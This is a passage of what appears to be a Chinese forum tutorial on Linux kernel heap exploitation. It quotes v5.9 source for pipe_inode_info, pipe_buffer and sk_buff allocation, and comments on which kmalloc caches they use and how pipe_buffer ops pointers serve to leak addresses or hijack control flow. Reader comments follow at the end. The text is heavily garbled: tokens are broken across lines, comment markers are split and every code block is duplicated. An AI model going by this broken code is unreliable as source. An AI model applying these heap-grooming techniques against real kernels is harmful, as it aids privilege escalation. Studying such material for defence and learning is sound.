kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
/
/
.....
/
/
对申请的pipe管道进行一些初始化
if
(pipe
-
>bufs) {
init_waitqueue_head(&pipe
-
>rd_wait);
init_waitqueue_head(&pipe
-
>wr_wait);
pipe
-
>r_counter
=
pipe
-
>w_counter
=
1
;
pipe
-
>max_usage
=
pipe_bufs;
pipe
-
>ring_size
=
pipe_bufs;
pipe
-
>nr_accounted
=
pipe_bufs;
pipe
-
>user
=
user;
mutex_init(&pipe
-
>mutex);
return
pipe;
}
/
/
.....
/
/
出错的话则会释放掉,具体干啥的不太清楚
out_free_uid:
free_uid(user);
return
NULL;
}
/
/
v5.
9
/
fs
/
pipe.c
struct pipe_inode_info
*
alloc_pipe_info(void)
{
struct pipe_inode_info
*
pipe;
unsigned
long
pipe_bufs
=
PIPE_DEF_BUFFERS;
/
/
#define PIPE_DEF_BUFFERS 16
/
/
.....
/
/
pipe_inode_info管理结构,大小为
0xa0
,属于kmalloc
-
192
pipe
=
kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if
(pipe
=
=
NULL)
goto out_free_uid;
/
/
.....
/
/
相关的消息结构为pipe_buffer数组,总共
16
*
0x28
=
0x280
,直接从kmalloc
-
1024
中拿取堆块
pipe
-
>bufs
=
kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
/
/
.....
/
/
对申请的pipe管道进行一些初始化
if
(pipe
-
>bufs) {
init_waitqueue_head(&pipe
-
>rd_wait);
init_waitqueue_head(&pipe
-
>wr_wait);
pipe
-
>r_counter
=
pipe
-
>w_counter
=
1
;
pipe
-
>max_usage
=
pipe_bufs;
pipe
-
>ring_size
=
pipe_bufs;
pipe
-
>nr_accounted
=
pipe_bufs;
pipe
-
>user
=
user;
mutex_init(&pipe
-
>mutex);
return
pipe;
}
/
/
.....
/
/
出错的话则会释放掉,具体干啥的不太清楚
out_free_uid:
free_uid(user);
return
NULL;
}
/
/
v5.
9
/
include
/
linux
/
pipe_fs_i.h
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned
int
head;
unsigned
int
tail;
unsigned
int
max_usage;
unsigned
int
ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool
note_loss;
#endif
unsigned
int
nr_accounted;
unsigned
int
readers;
unsigned
int
writers;
unsigned
int
files;
/
/
文件描述符计数,都为
0
时才会释放管道
unsigned
int
r_counter;
unsigned
int
w_counter;
struct page
*
tmp_page;
struct fasync_struct
*
fasync_readers;
struct fasync_struct
*
fasync_writers;
/
/
pipe_buffer数组,
16
个,每个大小为
0xa0
,通常我们从这上面泄露地址或者劫持程序流
struct pipe_buffer
*
bufs;
struct user_struct
*
user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue
*
watch_queue;
#endif
};
/
/
v5.
9
/
include
/
linux
/
pipe_fs_i.h
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned
int
head;
unsigned
int
tail;
unsigned
int
max_usage;
unsigned
int
ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool
note_loss;
#endif
unsigned
int
nr_accounted;
unsigned
int
readers;
unsigned
int
writers;
unsigned
int
files;
/
/
文件描述符计数,都为
0
时才会释放管道
unsigned
int
r_counter;
unsigned
int
w_counter;
struct page
*
tmp_page;
struct fasync_struct
*
fasync_readers;
struct fasync_struct
*
fasync_writers;
/
/
pipe_buffer数组,
16
个,每个大小为
0xa0
,通常我们从这上面泄露地址或者劫持程序流
struct pipe_buffer
*
bufs;
struct user_struct
*
user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue
*
watch_queue;
#endif
};
pipe_release()
-
>put_pipe_info()
-
>free_pipe_info()
pipe_release()
-
>put_pipe_info()
-
>free_pipe_info()
/
/
v5.
9
/
fs
/
pipe.c
static void put_pipe_info(struct inode
*
inode, struct pipe_inode_info
*
pipe)
{
int
kill
=
0
;
spin_lock(&inode
-
>i_lock);
if
(!
-
-
pipe
-
>files) {
inode
-
>i_pipe
=
NULL;
kill
=
1
;
}
spin_unlock(&inode
-
>i_lock);
/
/
当files为
0
才会进入该函数
if
(kill)
free_pipe_info(pipe);
}
/
/
v5.
9
/
fs
/
pipe.c
static void put_pipe_info(struct inode
*
inode, struct pipe_inode_info
*
pipe)
{
int
kill
=
0
;
spin_lock(&inode
-
>i_lock);
if
(!
-
-
pipe
-
>files) {
inode
-
>i_pipe
=
NULL;
kill
=
1
;
}
spin_unlock(&inode
-
>i_lock);
/
/
当files为
0
才会进入该函数
if
(kill)
free_pipe_info(pipe);
}
/
/
v5.
9
/
fs
/
pipe.c
void free_pipe_info(struct pipe_inode_info
*
pipe)
{
int
i;
/
/
....
/
/
和管道相关的释放有关,也是相关的漏洞点
for
(i
=
0
; i < pipe
-
>ring_size; i
+
+
) {
struct pipe_buffer
*
buf
=
pipe
-
>bufs
+
i;
if
(buf
-
>ops)
pipe_buf_release(pipe, buf);
}
/
/
......
/
/
释放pipe_buffer数组,kmalloc
-
1024
kfree(pipe
-
>bufs);
/
/
释放pipe_inode_info管理结构,kmalloc
-
192
kfree(pipe);
}
/
/
v5.
9
/
fs
/
pipe.c
void free_pipe_info(struct pipe_inode_info
*
pipe)
{
int
i;
/
/
....
/
/
和管道相关的释放有关,也是相关的漏洞点
for
(i
=
0
; i < pipe
-
>ring_size; i
+
+
) {
struct pipe_buffer
*
buf
=
pipe
-
>bufs
+
i;
if
(buf
-
>ops)
pipe_buf_release(pipe, buf);
}
/
/
......
/
/
释放pipe_buffer数组,kmalloc
-
1024
kfree(pipe
-
>bufs);
/
/
释放pipe_inode_info管理结构,kmalloc
-
192
kfree(pipe);
}
/
/
v5.
9
/
include
/
linux
/
pipe_fs_i.h
struct pipe_buffer {
struct page
*
page;
unsigned
int
offset,
len
;
const struct pipe_buf_operations
*
ops;
unsigned
int
flags;
unsigned
long
private;
};
/
/
v5.
9
/
include
/
linux
/
pipe_fs_i.h
struct pipe_buffer {
struct page
*
page;
unsigned
int
offset,
len
;
const struct pipe_buf_operations
*
ops;
unsigned
int
flags;
unsigned
long
private;
};
/
/
v5.
9
/
include
/
linux
/
pipe_fs_i.h
struct pipe_buf_operations {
int
(
*
confirm)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
void (
*
release)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
bool
(
*
try_steal)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
bool
(
*
get)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
};
/
/
v5.
9
/
include
/
linux
/
pipe_fs_i.h
struct pipe_buf_operations {
int
(
*
confirm)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
void (
*
release)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
bool
(
*
try_steal)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
bool
(
*
get)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
};
if
(buf
-
>ops)
pipe_buf_release(pipe, buf);
if
(buf
-
>ops)
pipe_buf_release(pipe, buf);
/
/
v5.
9
/
fs
/
pipe.c
static ssize_t
pipe_write(struct kiocb
*
iocb, struct iov_iter
*
from
)
{
/
/
......
struct pipe_buffer
*
buf
=
&pipe
-
>bufs[(head
-
1
) & mask];
/
/
......
buf
=
&pipe
-
>bufs[head & mask];
buf
-
>page
=
page;
buf
-
>ops
=
&anon_pipe_buf_ops;
buf
-
>offset
=
0
;
buf
-
>
len
=
0
;
/
/
......
}
/
/
v5.
9
/
fs
/
pipe.c
static ssize_t
pipe_write(struct kiocb
*
iocb, struct iov_iter
*
from
)
{
/
/
......
struct pipe_buffer
*
buf
=
&pipe
-
>bufs[(head
-
1
) & mask];
/
/
......
buf
=
&pipe
-
>bufs[head & mask];
buf
-
>page
=
page;
buf
-
>ops
=
&anon_pipe_buf_ops;
buf
-
>offset
=
0
;
buf
-
>
len
=
0
;
/
/
......
}
/
/
v5.
9
/
fs
/
pipe.c
static ssize_t
pipe_read(struct kiocb
*
iocb, struct iov_iter
*
to)
{
/
/
....
struct pipe_buffer
*
buf
=
&pipe
-
>bufs[(head
-
1
) & mask];
/
/
....
if
(!buf
-
>
len
) {
pipe_buf_release(pipe, buf);
/
/
....
}
/
/
....
}
/
/
v5.
9
/
fs
/
pipe.c
static ssize_t
pipe_read(struct kiocb
*
iocb, struct iov_iter
*
to)
{
/
/
....
struct pipe_buffer
*
buf
=
&pipe
-
>bufs[(head
-
1
) & mask];
/
/
....
if
(!buf
-
>
len
) {
pipe_buf_release(pipe, buf);
/
/
....
}
/
/
....
}
#include <sys/socket.h>
/
/
默认必须
int
socket_fd[
2
];
/
/
domain参数必须被指定为AF_UNIX,不同的
int
sockPair_return
=
socketpair(AF_UNIX, SOCK_STREAM,
0
, socket_fd);
if
( sockPair_return <
0
){
perror(
"socketpair()"
);
exit(
1
);
}
#include <sys/socket.h>
/
/
默认必须
int
socket_fd[
2
];
/
/
domain参数必须被指定为AF_UNIX,不同的
int
sockPair_return
=
socketpair(AF_UNIX, SOCK_STREAM,
0
, socket_fd);
if
( sockPair_return <
0
){
perror(
"socketpair()"
);
exit(
1
);
}
char buf[
0x8
]
=
{
0
};
char
*
msg
=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
;
write(socket_fd[
0
],msg,
0x8
);
read(socket_fd[
1
],buf,
0x8
);
char buf[
0x8
]
=
{
0
};
char
*
msg
=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
;
write(socket_fd[
0
],msg,
0x8
);
read(socket_fd[
1
],buf,
0x8
);
close(socket_fd[
0
]);
close(socket_fd[
1
]);
close(socket_fd[
0
]);
close(socket_fd[
1
]);
write
-
> ksys_write()
-
> vfs_write()
-
> new_sync_write()
-
> call_write_iter()
-
> sock_write_iter()
-
> sock_sendmsg()
-
> sock_sendmsg_nosec()
-
> unix_stream_sendmsg()
-
>内存申请
/
数据复制
write
-
> ksys_write()
-
> vfs_write()
-
> new_sync_write()
-
> call_write_iter()
-
> sock_write_iter()
-
> sock_sendmsg()
-
> sock_sendmsg_nosec()
-
> unix_stream_sendmsg()
-
>内存申请
/
数据复制
/
/
v5.
9
/
net
/
unix
/
af_unix.c
static
int
unix_stream_sendmsg(struct socket
*
sock, struct msghdr
*
msg,
size_t
len
)
{
struct sock
*
sk
=
sock
-
>sk;
struct sock
*
other
=
NULL;
int
err, size;
struct sk_buff
*
skb;
int
sent
=
0
;
struct scm_cookie scm;
bool
fds_sent
=
false;
int
data_len;
/
/
.....
while
(sent <
len
) {
size
=
len
-
sent;
/
*
Keep two messages
in
the pipe so it schedules better
*
/
size
=
min_t(
int
, size, (sk
-
>sk_sndbuf >>
1
)
-
64
);
/
*
allow fallback to order
-
0
allocations
*
/
size
=
min_t(
int
, size, SKB_MAX_HEAD(
0
)
+
UNIX_SKB_FRAGS_SZ);
data_len
=
max_t(
int
,
0
, size
-
SKB_MAX_HEAD(
0
));
data_len
=
min_t(size_t, size, PAGE_ALIGN(data_len));
/
/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
分叉一:内存申请部分
skb
=
sock_alloc_send_pskb(sk, size
-
data_len, data_len,
msg
-
>msg_flags & MSG_DONTWAIT, &err,
get_order(UNIX_SKB_FRAGS_SZ));
/
/
相关检查部分
if
(!skb)
goto out_err;
/
*
Only send the fds
in
the first
buffer
*
/
err
=
unix_scm_to_skb(&scm, skb, !fds_sent);
if
(err <
0
) {
kfree_skb(skb);
goto out_err;
}
/
/
.....
/
/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
分叉二:数据复制部分
skb_put(skb, size
-
data_len);
skb
-
>data_len
=
data_len;
skb
-
>
len
=
size;
/
/
这里开始进行数据复制
err
=
skb_copy_datagram_from_iter(skb,
0
, &msg
-
>msg_iter, size);
if
(err) {
kfree_skb(skb);
goto out_err;
}
/
/
.....
sent
+
=
size;
}
/
/
......
return
sent;
out_err:
scm_destroy(&scm);
return
sent ? : err;
}
/
/
v5.
9
/
net
/
unix
/
af_unix.c
static
int
unix_stream_sendmsg(struct socket
*
sock, struct msghdr
*
msg,
size_t
len
)
{
struct sock
*
sk
=
sock
-
>sk;
struct sock
*
other
=
NULL;
int
err, size;
struct sk_buff
*
skb;
int
sent
=
0
;
struct scm_cookie scm;
bool
fds_sent
=
false;
int
data_len;
/
/
.....
while
(sent <
len
) {
size
=
len
-
sent;
/
*
Keep two messages
in
the pipe so it schedules better
*
/
size
=
min_t(
int
, size, (sk
-
>sk_sndbuf >>
1
)
-
64
);
/
*
allow fallback to order
-
0
allocations
*
/
size
=
min_t(
int
, size, SKB_MAX_HEAD(
0
)
+
UNIX_SKB_FRAGS_SZ);
data_len
=
max_t(
int
,
0
, size
-
SKB_MAX_HEAD(
0
));
data_len
=
min_t(size_t, size, PAGE_ALIGN(data_len));
/
/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
分叉一:内存申请部分
skb
=
sock_alloc_send_pskb(sk, size
-
data_len, data_len,
msg
-
>msg_flags & MSG_DONTWAIT, &err,
get_order(UNIX_SKB_FRAGS_SZ));
/
/
相关检查部分
if
(!skb)
goto out_err;
/
*
Only send the fds
in
the first
buffer
*
/
err
=
unix_scm_to_skb(&scm, skb, !fds_sent);
if
(err <
0
) {
kfree_skb(skb);
goto out_err;
}
/
/
.....
/
/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
分叉二:数据复制部分
skb_put(skb, size
-
data_len);
skb
-
>data_len
=
data_len;
skb
-
>
len
=
size;
/
/
这里开始进行数据复制
err
=
skb_copy_datagram_from_iter(skb,
0
, &msg
-
>msg_iter, size);
if
(err) {
kfree_skb(skb);
goto out_err;
}
/
/
.....
sent
+
=
size;
}
/
/
......
return
sent;
out_err:
scm_destroy(&scm);
return
sent ? : err;
}
/
/
v5.
9
/
net
/
core
/
skbuff.c
struct sk_buff
*
__alloc_skb(unsigned
int
size, gfp_t gfp_mask,
int
flags,
int
node)
{
struct kmem_cache
*
cache;
struct skb_shared_info
*
shinfo;
struct sk_buff
*
skb;
u8
*
data;
bool
pfmemalloc;
cache
=
(flags & SKB_ALLOC_FCLONE)
? skbuff_fclone_cache : skbuff_head_cache;
if
(sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
gfp_mask |
=
__GFP_MEMALLOC;
/
*
Get the HEAD
*
/
/
/
从专门的缓存池skbuff_fclone_cache
/
skbuff_head_cache中申请内存
/
/
作为头部的管理结构
skb
=
kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
if
(!skb)
goto out;
/
/
......
/
/
先对齐,这个和L1_CACHE_BYTES有关,
64
位系统即和
64
(
0x40
)对齐,
32
位类似,具体的还是查一下最好
size
=
SKB_DATA_ALIGN(size);
/
/
size
+
=
对齐之后的
0x140
/
/
那么size只可能是
0x140
+
n
*
0x40
,最低为
0x180
,属于kmalloc
-
512
size
+
=
SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
/
/
虽然是kmalloc_reserve函数,但是最终还是kmalloc形式
/
/
调用到`__kmalloc_node_track_caller`函数进行分配
/
/
这个data即为我们实际的存储数据的地方,也是从kmalloc申请出的堆块
/
/
并且是从对开的开头位置处开始存储,完成内存申请后返回unix_stream_sendmsg函数
/
/
在`skb_copy_datagram_from_iter`函数中数据会被复制
data
=
kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
if
(!data)
goto nodata;
/
/
...
size
=
SKB_WITH_OVERHEAD(ksize(data));
/
/
....
/
/
初始化头部的管理结构
memset(skb,
0
, offsetof(struct sk_buff, tail));
/
*
Account
for
allocated memory : skb
+
skb
-
>head
*
/
skb
-
>truesize
=
SKB_TRUESIZE(size);
skb
-
>pfmemalloc
=
pfmemalloc;
refcount_set(&skb
-
>users,
1
);
skb
-
>head
=
data;
skb
-
>data
=
data;
skb_reset_tail_pointer(skb);
skb
-
>end
=
skb
-
>tail
+
size;
skb
-
>mac_header
=
(typeof(skb
-
>mac_header))~
0U
;
skb
-
>transport_header
=
(typeof(skb
-
>transport_header))~
0U
;
/
/
...
out:
return
skb;
nodata:
kmem_cache_free(cache, skb);
skb
=
NULL;
goto out;
}
/
/
v5.
9
/
net
/
core
/
skbuff.c
struct sk_buff
*
__alloc_skb(unsigned
int
size, gfp_t gfp_mask,
int
flags,
int
node)
{
struct kmem_cache
*
cache;
struct skb_shared_info
*
shinfo;
struct sk_buff
*
skb;
u8
*
data;
bool
pfmemalloc;
cache
=
(flags & SKB_ALLOC_FCLONE)
? skbuff_fclone_cache : skbuff_head_cache;
if
(sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
gfp_mask |
=
__GFP_MEMALLOC;
/
*
Get the HEAD
*
/
/
/
从专门的缓存池skbuff_fclone_cache
/
skbuff_head_cache中申请内存
/
/
作为头部的管理结构
skb
=
kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
if
(!skb)
goto out;
/
/
......
/
/
先对齐,这个和L1_CACHE_BYTES有关,
64
位系统即和
64
(
0x40
)对齐,
32
位类似,具体的还是查一下最好
size
=
SKB_DATA_ALIGN(size);
/
/
size
+
=
对齐之后的
0x140
/
/
那么size只可能是
0x140
+
n
*
0x40
,最低为
0x180
,属于kmalloc
-
512
size
+
=
SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
/
/
虽然是kmalloc_reserve函数,但是最终还是kmalloc形式
/
/
调用到`__kmalloc_node_track_caller`函数进行分配
/
/
这个data即为我们实际的存储数据的地方,也是从kmalloc申请出的堆块
/
/
并且是从对开的开头位置处开始存储,完成内存申请后返回unix_stream_sendmsg函数
/
/
在`skb_copy_datagram_from_iter`函数中数据会被复制
data
=
kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
if
(!data)
goto nodata;
/
/
...
size
=
SKB_WITH_OVERHEAD(ksize(data));
/
/
....
/
/
初始化头部的管理结构
memset(skb,
0
, offsetof(struct sk_buff, tail));
/
*
Account
for
allocated memory : skb
+
skb
-
>head
*
/
skb
-
>truesize
=
SKB_TRUESIZE(size);
skb
-
>pfmemalloc
=
pfmemalloc;
refcount_set(&skb
-
>users,
1
);
skb
-
>head
=
data;
skb
-
>data
=
data;
skb_reset_tail_pointer(skb);
skb
-
>end
=
skb
-
>tail
+
size;
skb
-
>mac_header
=
(typeof(skb
-
>mac_header))~
0U
;
skb
-
>transport_header
=
(typeof(skb
-
>transport_header))~
0U
;
/
/
...
out:
return
skb;
nodata:
kmem_cache_free(cache, skb);
skb
=
NULL;
goto out;
}
/
/
v5.
9
/
net
/
core
/
datagram.c
int
skb_copy_datagram_from_iter(struct sk_buff
*
skb,
int
offset,
struct iov_iter
*
from
,
int
len
)
{
int
start
=
skb_headlen(skb);
/
/
skb
-
>
len
-
skb
-
>data_len;
int
i, copy
=
start
-
offset;
/
/
copy 是线性数据区的剩余空间大小
struct sk_buff
*
frag_iter;
/
/
拷贝到申请的保存数据的堆块skb
-
>data
if
(copy >
0
) {
if
(copy >
len
)
copy
=
len
;
if
(copy_from_iter(skb
-
>data
+
offset, copy,
from
) !
=
copy)
goto fault;
if
((
len
-
=
copy)
=
=
0
)
return
0
;
offset
+
=
copy;
}
/
/
....
}
/
/
v5.
9
/
net
/
core
/
datagram.c
int
skb_copy_datagram_from_iter(struct sk_buff
*
skb,
int
offset,
struct iov_iter
*
from
,
int
len
)
{
int
start
=
skb_headlen(skb);
/
/
skb
-
>
len
-
skb
-
>data_len;
int
i, copy
=
start
-
offset;
/
/
copy 是线性数据区的剩余空间大小
struct sk_buff
*
frag_iter;
/
/
拷贝到申请的保存数据的堆块skb
-
>data
if
(copy >
0
) {
if
(copy >
len
)
copy
=
len
;
if
(copy_from_iter(skb
-
>data
+
offset, copy,
from
) !
=
copy)
goto fault;
if
((
len
-
=
copy)
=
=
0
)
赞赏
|
|
---|---|
|
师傅方便交换一下联系方式嘛?给你发私信啦
|
|
GhostDoog 师傅方便交换一下联系方式嘛?给你发私信啦[em_13]嗯嗯,好哒 |
|
师傅,有些调试细节可以问一下吗,第一次调试不大会
|
|
账号权限有限,无法私信您,方便的话加个qq呗。2243829852
|
|
学长能加个qq交流交流吗2499291623,我也是去年开始学pwn,,, 现在在看堆
|
- [原创]CVE-2021-22555_Netfilter堆溢出提权漏洞 22494
- [原创]Kernel从0开始(四) 28195
- [原创]Kernel从0开始(三) 29284
- [原创]Kernel从0开始(二) 32484
- [原创]Kernel从0开始(一) 45047